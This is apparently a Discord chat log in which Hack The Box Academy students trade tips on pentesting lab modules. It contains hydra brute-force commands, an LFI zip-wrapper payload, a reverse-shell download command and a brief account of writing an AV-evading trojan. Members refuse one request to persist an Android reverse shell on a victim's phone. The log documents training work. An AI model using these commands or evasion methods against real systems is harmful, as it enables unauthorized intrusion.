did you put the target IP in the resolvers.txt file?
No. That maybe i missed.
that should be the only thing in the resolvers.txt file
otherwise it's trying to query a bunch of other name servers
thanks.
did they update that section or something? i used another method entirely
maybe you're thinking of footprinting? iirc subbrute is the tool shown in the attacking dns section of common services
yeah i do see that on the page but my notes show something else
ยฏ_(ใ)_/ยฏ
i mean subbrute is used to find the subdomain, then dig or another tool is used to actually query it
Hi. Can anyone gimme a bit of help on Injection Attacks > Exploitation of PDF Generation Vulnerabilities?
Actually nevermind. I solved it
let's not spoil the module; not to mention you replied to something 10 days old, i'd hope they got past it by now
Perform a full TCP port scan on your target and create an HTML report. Submit the number of the highest port as the answer. i scanned all the ports and got 7 open ports but it is not the correct answer
what does the highest port mean
Have you scanned all ports?
highest port == biggest number
not the number of ports
i.e. ports 2, 3, 22 , 5555, 3000 the highest port is 5555
I got 3 sub domain records. can i use dig to find the flag? any tip . thanks
did you try digging those subdomains?
or are you asking if you should
if you're asking if you should, that's the wrong way to go about it. Do first, ask later if it fails
yes i tried but don't know where the flag is. and host to sub domains.
Hello , Iโm at Broken Authentication Module, Brute-Forcing Passwords Section.
While do this command;
โgrep '[[:upper:]]' rockyou.txt | grep '[[:lower:]]' | grep '[[:digit:]]' | grep -E '.{10}' > custom_wordlist.txtโ
Iโm getting this error;
โgrep: rockyou.txt: binary file matchesโ
got it
Need an embed for don't ask to bash or something like that.
thanks
the spawn ip would be what you @
People recommend to do the final module "blind" without help. Can I spawn the machine in the first question and do the entire module that way? Or how am I supposed to spawn the entire environment?
Attacking enterprise networks module
Module: Linux Privilege Escalation
Section: Linux Services & Internals Enumeration
Link to referenced sub-section: https://academy.hackthebox.com/module/51/section/1777#:~:text=and memory allocation.-,Proc,-Linux Services %26 Internals
I don't understand what the example proc command is returning? How is this information useful?
spawn the machine, don't look at the questions, the only pre-allowed knowledge is from the first two sections regarding the scope and contacts (especially if you plan on drafting a report for the module) aside from that you just spawn it set timer to max and just go
don't stop until you reach domain admin
/proc is for running processes
so you can potentially see if there's a running process that might contain credentials for how it was launched
actually it's explained literally in the paragraph just before
Sweet, thanks. Do you know how long it takes on average to complete?
my xfreerdp connection is getting dropped when i share my local folder to rdp
it depends on the person
what's your syntax for it?
xfreerdp /u:username /p:password /v:target_ip /drive:shared_folder,/path/to/local/folder
hm
i've never had any issues with accessing a shared folder, and your syntax looks right
though usually i'm doing something like cp \\tsclient\share\<path to thing i want to cp> with powershell (copy for CMD)
Yes idk whats wrong : 10:04:19:302] [26175:26176] [ERROR][com.freerdp.core.transport] - BIO_read returned a system error 110: Connection timed out
[10:04:19:303] [26175:26176] [ERROR][com.freerdp.core] - transport_read_layer:freerdp_set_last_error_ex ERRCONNECT_CONNECT_TRANSPORT_FAILED [0x0002000D]
[10:04:19:303] [26175:26176] [INFO][com.freerdp.client.common] - Network disconnect!
Yes, I do understand that, I just don't get what the command in that example is returning. Are those supposed to be files with credentials possibly in them?
it's the state of the current process, such as you being ssh into the machine
note the ssh/sshd
check the article i linked
one thing i will say is that 99% can be done from module knowledge; 1% is some silly stuff that ultimately doesn't lead to the compromise but you'll know it when you see it
I still don't get why the command is outputting the content of files with cmdline in the name? Why cmdline?
Oh okay, I just thought it'd be the shell you query for.
no
the shell runs on the cmdline
:)
because this stuff digs deeper than shell languages
Is that why you send me the article? So I can differentiate between pty and tty?
no
i sent it bc it explains also what pts is (which is in the output btw)
and what it all means
It states:
A pts is the slave part of a pty.
Not sure I understand what it means by that?
it means it's used by a pty
it's what helps facilitate the communication of sent commands
I see.
the top answer really does explain it
also it's not looking for files like cmdline
it's looking specifcally at cmdline
i can't tell you why they use find /proc instead of just cat
but who knows
I see. Thanks.
I've done a bunch of extra work outside of the path. Roughly ~100 htb machines but almost all of those are stand alone machines so we will see how I do.
How to get to support?
thanks got it. cheers
Nessus skills assessment: This question doesn't make any sense to me, what exactly are they asking for?: 'What was the target for the authenticated scan?' I have already tried the hostname with small and capital letters, just don't understand the question.
hint - it is not a hostname that is expected
Is anyone able to give me a nudge on Injection Attacks > Skills Assessment?
can I ask someone if I completed the windows priv esc assessment II the right way ? I have access to looking at the solution, but I am just interested in confirmation so if I did not do it the right way I can check for other ways.
The target was to find vulnerabilities. The target was an IP address. A specific service? I tried it all ๐ตโ๐ซ
play around with the Nessus menu, it's there
It is indeed an ip
Just not the spawn ip
Refer to the reading
Question #1 for Practical Digital Forensics Scenarios
Extract and scrutinize the memory content of the suspicious PowerShell process which corresponds to PID 6744. Determine which tool from the PowerSploit repository (accessible at https://github.com/PowerShellMafia/PowerSploit) has been utilized within the process, and enter its name as your answer.
I've extracted pid 6744 with vol.py, I used the cmdline module and couldn't fully decode the powershell command, and nothing related to powerspoilt when I use yara. What am I doing wrong?
Look directly at powersploit and correlate what was done with what tool does it
How do I know what was done?
Look at the broader picture of what the event id is
Sorry
Brain fried
I meant to say look at all the components of the process
Look at what it talks to
nothing shows up on netscan for that pid
It's found through analysis of the pid
Basically though once you dump it just ctrl+f for the different tool names from the repository
It's not diving deep into the individual find- or invoke-
It's very much a top level which tool was used
so the tool doesn't start with find or invoke?
is that really the intended way to solve this question?
Utilizing the dump will give multiple references to it
is there a quicker way to do this?
I was looking for that tool on the vm but I couldn't find it
Secure Coding 101: JavaScript has anyone completed this module
Sysinternals
if anyone has completed this pls dm me i wanna know something
anyone here
Try to identify the services running on the server above, and then try to search to find public exploits to exploit them. Once you do, try to get the content of the '/flag.txt' file. (note: the web server may take a few seconds to start)
i completed it with a hint
but i wanna knw how we knw
what module is this from
you're asking how we know for sure that wordpress is the attack vector?
i am asking that how we knw that in wordpress simple backup plugin was used like in the scan it told its apache server and wordpress is used but the plugin was not mentioned in it then how we knw that plugin can be attack vector
most of us will immediately turn to wpscan since it's a wordpress box
ohkye
acutally i done it with metasploit maybe thats why i was curious
wpscan tell which plugins are being used? but how that tool fingerprint these plugins
yes it does check plugins, and i believe it's a combination of crawling and fuzzing
What module?
Also wpscan isn't needed if it's the module I'm thinking
Just visiting the web page
I don't know if I can ask questions here, but for module Intro to Network Traffic Analysis section Packet Inception, Dissecting Network Traffic With Wireshark, I was able to get the photo but How do I get the username? I checked the forum and found the username. I didn't know if there is a better way than just searching the name in wireshark.
public exploit section of get started module of pentration testing path
Ok thanks!
Just visit the ip:port and you'll figure it out
yes it was in the blog post but any other signs that make a attack sure that it is being used
so its called think out of the box then
I mean the box tells you what's in it
But generally you're always making an educated guess based on what you see when it comes to hacking
You don't know for sure if the exploit will work, but all signs you see point to saying it should work
i am a newbie, if i have vhost like freithg.htb and ip:port, what should i write in /etc/hosts? Should i include port
Don't include the port
You put the ip and vhost
And you always specify the port in your requests such as in a browser or with a tool
http://vhost.htb:port/
oh, thanks a lot
The hosts file is a local dns, and dns doesn't use ports
Hi can i DM you?
What do you wanna dm them about?
Considering you had to dig 7 months to find the message to reply to
I need some guidance on Advanced XSS and CSRF Exploitation Skills Assessment
Well he's not obligated to give guidance :p
For those who have difficulties in Introduction to Windows Evasion Techniques SA 1. I advise you to review your Trojan. Pay attention to its architecture and the methods you use. I went away from the provided template in the module, and wrote my own Trojan, which simplified the logic of work, but encrypted all kernel32 calls, as well as everything else. I also advise you to pay attention to the dll signatures, be careful, you need 64-bit versions. And I do not advise you to write tired, take breaks, they really help to reconsider your ideas
You can just ask here (while trying to avoid spoilers) instead of waiting for staff to say y/n to a dm
I didn't say he was obligated that why i ask if can DM
I mean you could probably find someone that asked something similar
More recently
Was more my point
Rather than dig for a message from 7 months ago
Get you, I will do that
Feels like you just dug for the module author instead of looking for similar questions
I didn't realized that he is the author ...
Hello everyone! I am currently doing "Introduction to Bash Scripting" module and i am stuck with "Conditional Execution" question where i need to print the amount of characters in the 35th iteration of var.
I tried doing the following script, and the result is wrong. I am also aware at this point about wc -c adding extra char at the end to the counter. But even if i take 1 from the final answer it is still wrong for some reason. Can someone please point me in the right direction or correct me?
var="nef892na9s1p9asn2aJs71nIsm"
for counter in {1..40}
do
var=$(echo -n "$var" | base64)
if [ $counter -eq 35 ]
then
echo -n "$var" | wc -c
fi
done
It is actually a question i tagged
Hi,
Section:
Information Gathering - Web Edition
Creepy Crawlies
Question: After spidering inlanefreight.com, identify the location where future reports will be stored. Respond with the full domain, e.g., files.inlanefreight.com.
So I have installed Reconspider.py, and I get some errors in my output:
...
"twisted.internet.error.DNSLookupError: DNS lookup failed: no results for hostname lookup: www.inlanefreight.com.
2024-09-16 06:27:19 [scrapy.core.engine] INFO: Closing spider (finished)
2024-09-16 06:27:19 [scrapy.utils.signal] ERROR: Error caught on signal handler: <function Spider.close at 0x7fd152ef1f80>
Traceback (most recent call last):
File "/home/kali/.local/lib/python3.11/site-packages/scrapy/utils/defer.py", line 348, in maybeDeferred_coro
result = f(*args, **kw)
File "/usr/lib/python3/dist-packages/pydispatch/robustapply.py", line 55, in robustApply
return receiver(*arguments, **named)
File "/home/kali/.local/lib/python3.11/site-packages/scrapy/spiders/init.py", line 101, in close
return cast(Union[Deferred, None], closed(reason))
File "/opt/ReconSpider.py", line 102, in closed
with open('results.json', 'w') as f:
PermissionError: [Errno 13] Permission denied: 'results.json'"
...
Any suggestion?
Hi Everyone
I am doing gobuster bruteforce vhosts on target ip, it is working well, but no results
Module: info gathering web
Section: Virtual hosts
Can anyone help me?
Looks like you used the ip instead of the domain name
Add the domain to ur /etc/hosts file then try again
Does anyone else currently experiences Lags on the HTB Academy website?
Hey friends how are you? I made a android reverse shel using metsploit framework,,i wanna persistent this app in victim phone,,,any body help me?please!!
No
This isn't the channel nor server for that
We don't do really any phone hacking here
As Marcie said, not the place for this. Doesn't sound legal either the way you put it
If you want to figure out persistence use your own phone
I am
is academy broken right now?
its loading the content just not the tests at the bottom
yeah even just loading some of the modules isn't working - all the different pathways aren't showing up
Thought so. Thanks.
Hi guys im doing the linux fundamentals module but i have problems doing the first exercise
there is a botton who says download vpn connection file but i dont know what i have to do
and under that "start instance" for doing the exercise but it doesnt work neither
The vpn is for doing exercises on your own machine
The start instance button should start a vm which is usable in the browser
i click in instnce button but it doesnt work
.
Currently appears some htb services are having issues
Probably gonna have to come back to it in a few hours
Target(s): Fetching status... what does it mean?
maybe the exercise is conecting with my own machine in htb server because it says this: SSH to with user "htb-student" and password "HTB_@cademy_stdnt!"
It the linux fundamentals module. Someone know if this is correct?
It means the target is spawning
as I just said though, it seems something is going on in htb backend
So you may just need to step away for now
It is not connecting with your own machine
It's spawning a target that you'd connect to with those credentials to ssh into
ok, thanks.
Sorry for the inconvenience. Im new and english is not my native language
I suggest coming back to it in a few hours as there are currently problems going on
All you need to know about the VPN Connection for Academy
I suggest as well doing the introduction to academy module
i cant access to any academy module . they are not loading . every other tab work fine idk why
Can anyone help me clearing a small doubt regarding Socat Redirection with a Reverse Shell
Cool so in this scenario i first get a meterpreter shell of the ubuntu server and my aim is getting a rev shell in window which i can access through ubuntu , so after getting shell then i use portfrw command to forward port and connect window through rdp then when i try to download the .exe rev shell and i open python server in the ubuntu host andhere according to my logic i have to put the ip address of ubuntu server in Invoke-WebRequest command so that it can download the file but here it gives error but when i put window ip insted it downloads the file why??
Invoke-WebRequest -Uri "http://172.16.5.129:8831/backupscript.exe" -OutFile "C:\Users\Public\backupscript.exe"```
here this 172.x.x.x is ip of that window machine and through this i can download the file which i host in ubuntu server through python server
but the ip of ubuntu is 10.129.73.35
and it showing error when i try with this
you'd need a host that is connected to both networks
since you're able to run commands on the windows host, just do the same thing but reversed
I'm having issues with the same module, I can ping the network and the connection is active, but when I try to ssh with the user name and IP, the password keeps saying incorrect
What is your syntax?
Ssh htb-student@10.10.14.153
Then it asks for a password which I copy and paste but still see "permission denied"
That's not the target ip
That's the pwnbox/vpn ip
The target ip is from the "Click here to spawn target"
"Spawn instance" spawns the in-browser vm (pwnbox)
Ohhh๐๐
Targets will generally be in one of two forms
10.129.x.x for those requiring the vpn
Or some publicIP:port for ones that don't
Aha I see it now
(Introduction to academy module should go over this)
Thanks a lot
๐ ๐ ๐ I totally did not see it, my mind zeroed in on the VPN connection file and I used that to get an IP address ๐ญ๐ญ๐ญ
Anyone else having troubles spawning targets?
not here, currently, but i did get a warning that they're having trouble with a 3rd party provider for instance/target spawning.
try logging out and logging back in
Did you delete all the hashes from the file and end it with a new-line? Also did you recompile
Yes
You'll need to recompile in order to try and connect
Didnt work but changing vpn server did thanks tho
I am using the attached window lab and it has 172.16.17.144 server .fatty.htb assigned to it
I'm aware of how it's structured
You need to recompile the code in order for it to actually do the changes you made
I have done it
Well if you did it right it should log you in
ยฏ_(ใ)_/ยฏ
Did you change the name of the new jar?
hi, im trying to install the academy vpn in my vm parrot but "Options error: In [CMD-LINE]:1: Error opening configuration file: academy-regular.ovpn"
Someone know why is this?
Guys anyone can help me in this situation?
why are using the H=authorization.....
I get it , it was extra its my mistake .
Currently I using this command
hydra -l user -P /usr/share/seclists/Passwords/Leaked-Databases/rockyou-30.txt 94.237.56.198 -s 36774 http-post-form "/admin_login.php:user=^USER^&pass=^PASS^ :S=HTB{" -f
Still not getting any result and I tried more than 10 different wordlists too.
no , are you sure that HTB will be in the response ? use something else for detecting the right creds
In this message I wanted to tell you that I get that there is no need Authorization header .
Still I am stuck at that situation and I am using command
hydra -l user -P /usr/share/seclists/Passwords/Leaked-Databases/rockyou-30.txt 94.237.56.198 -s 36774 http-post-form "/admin_login.php:user=^USER^&pass=^PASS^ :S=HTB{" -f
you left out your uh... whats it called, your error trigger. and also your rate limit option
i mentioned this to you yesterday
@bronze heron ^ check the cheat sheet and model your cmd after that. it looks mostly good
Found a the subdomain but not the flag figgured it would be in dig but nothing
i think i remember this one did you visit the subdomain? i think its on the subs index. if you link me im happy to check, if its the one im thinking of
Added it to the hosts file but no cant visit it still. Wdym send you the subdomain ?
link me to the module/section you're doing
ok this isnt the one i did previously, did you check for VHOSTs as well?
not sure i can be of much help other than suggestions
also dig TXT sub.example.com in case its in the txt files? i think thats how the cmd goes
sounds like you did some digging already tho, did you try that?
again why S=HTB{
i think he's trying to pull flag data, i dont have the cheat sheet in front of me but i think thats the error trigger (or w/e its called) it needs to be revised (or added) with the /exact/ way its marked up in the source... <-- @bronze heron
his previous example, which was more close to the working payload, had it but the source was not fully correct
the best way to do it is to detect based on bad string like F=....
yeah, thats what it needs to be. his previous cmd was closer to getting him where he needed to be, all the esoteric friggin triggers in hydra... @bronze heron go back in the section and make note of how they use the cmds to get what they want and model yours after it very closely. keep your wordlist as that is likely correct. you may also need to download or unzip rockyou.txt and use the whole one (now or at some point later [maybe...] )
keep a specific eye out for the error trigger and /specifically/ how they input the source. im talking errant apostrophes and semicolons and stuff... syntax
your error trigger string needs to match the EXACT source ( a substring of it )
I also tried this
hydra -l user -P /usr/share/seclists/Passwords/Leaked-Databases/rockyou-15.txt 94.237.56.198 -s 36774 http-post-form "/admin_login.php:user=^USER^&pass=^PASS^ :F=<form name='log-in'" -t4
This 0 valid password
I m not able to understand that I m using wrong username or wordlists or may be its syntax error.
just like in the explanation
i suggested you also try the variation on the http-post-form (http-post-form://) as a sanity check, you dont have an http scheme on your IP in that cmd, that may be causing problems... but yes that is close. look at your error string its wrong.
and i think -t4 needs a space? might as well put one just to be safe
@quiet trout it says the flag is stored as a dns arecord but not did txt subdoamin.com doenst print anything
you should be able to bump it up... double it at least, i think i used -t 64 on that without issues
maybe dig any
ah its an A record... hmm... have you tried a zone transfer?
this first
yeah that could help
Yeah didnt work but isnt that in order for the subdoamin to be found ?
then AXFR attempt failing dig any if AXFRs werent discussed in the section skip that, its very niche and rarely occurs in modern day, unless you're North Korea
Wdym ?
dig any should return all records, if memory serves
dig any ur subdomain
not just TXT
dont think i knew that
could you show us your command @median gale
Thank you though โค๏ธ
nice
rock on
it's better to delete this, it may spoils on others
@limber river speaking of @dnsserver is this pretty reliable even in the instance of DNSs with delegations (like in ADDS domains) where a subdomains dns delegation is relegated to a DNS server in the parent domain?
i would imagine the forwarding occurs same as normal, just curious
or other more granular configs than your "typical" DNS
whatever the case may be
solv.conf; if an address is found there, it queries the name
server at that address. If either of the -4 or -6 options are in
use, then only addresses for the corresponding transport are
tried. If no usable addresses are found, dig sends the query to
the local host. The reply from the name server that responds is
displayed.
this snippet from dig manual
oh i see
if you don't specify the server using @ it will check the /etc/resolv.conf
didnt realize just /how/ important @dnsserver was
yeah , it's better to query the dns server directly
Hey guys, i dont really understand the question^^ : After performing a zone transfer for the domain inlanefreight.htb on the target system, how many DNS records are retrieved from the target system's name server? Provide your answer as an integer, e.g, 123.
do a zone tranfer then calculate how many DNS records are retrieved
yeah but i cant do it

๐ค
it happens
finally its not me this time ๐. i guess my turns next.
working an LFI module https://academy.hackthebox.com/module/23/section/1493
and a syntax im unfamiliar with has been used with ZIP LFIs, this shouldnt spoil but a string like
http://target.com/index.php?param=zip://archive.jpg%23shell.php&cmd=id is used.
the %23 (# fragment) is used here... i dont understand the specific syntax in the given context... is this gonna be a URL fragment, or something different? i understand what its doing but not /why/...
nvm chatgpt gave me a somewhat stomachable answer...
maybe i need to look at the zip wrapper? if this is not markup related?
yeah, but i am using another server
and it worked when i just restarted vpn connection
ty
are you trying to find out why there is the %23 in the url string?
yeah, i was, i think the php wrapper is unzipping the file and the fragment is just a way to reference it, i didnt realize the cmd like unzipped it and served it all in one request.
if i understand how it works, correctly. i checked the php wrapper docs and zlib:// docs and didnt really see that mentioned specifically. but that seems to be how its working
its just url encoding, burpsuite will do it for you if you use it and there are tools online. Its just so its in a readable format for the computer
Yeah, i understand the use of the character, just not why it worked in that context exactly. I think i got a handle on it now though. Ive only seen the frag char used to refer to content sections on web pages and from what i understood only was processed client side by the browser so i was surprised.
Yooo
Just thinking about going for the CPTS exam !!
Any study tips ?
that being said, i do wonder if the browser is storing the contents of the zip data? as i understood it # was not processed server side... this has got me curious again
or why that would ultimately matter, considering the zip contents are used for an inclusion on the server.
Just do it
Any nudges ? Got the username but no luck against password with any of the services using hydra
has the site just gone down?
for me yes 502
for me it says the academy has a 3rd party issue
it's back now
yeah its spotty they're working on it.
im gonna take a lil break now come back in a bit hopefully its sorted.
is HTBA down?
seems that way
i can still work on it but it has that warning there
Just got the same xD and was just sending a flag ๐ญ
same, good job I had the output in my notes to just paste it in lol
tbf there was pre-warning above ^ that there have been issues so, it is what it is
We are aware of the issues and working on it
If anyones exam is impacted, reach out to customer support and we'll make it right
Pin this 
use very 1st method that teach in attacking ftp services section
does anyone else ever have absolutely no idea how to answer a question in academy and have to get the answer from a writeup and think "how the fuck was i supposed to figure that out"
is this normal or am i doing something wrong
You're doing something wrong if you have to consistently defer to a writeup
The module should teach you or give you the tools to be able to figure the answer out
Module = command injection
I am url encoding \n in burpsuite, but it gives "%5c%6e" instead of %0a.. i used both, the decoder and the "right click" one!!!!
Yeah that's Because it's encoding the \ and n separately
It's not counting it as a character
So is there an option for that in burpsuite?
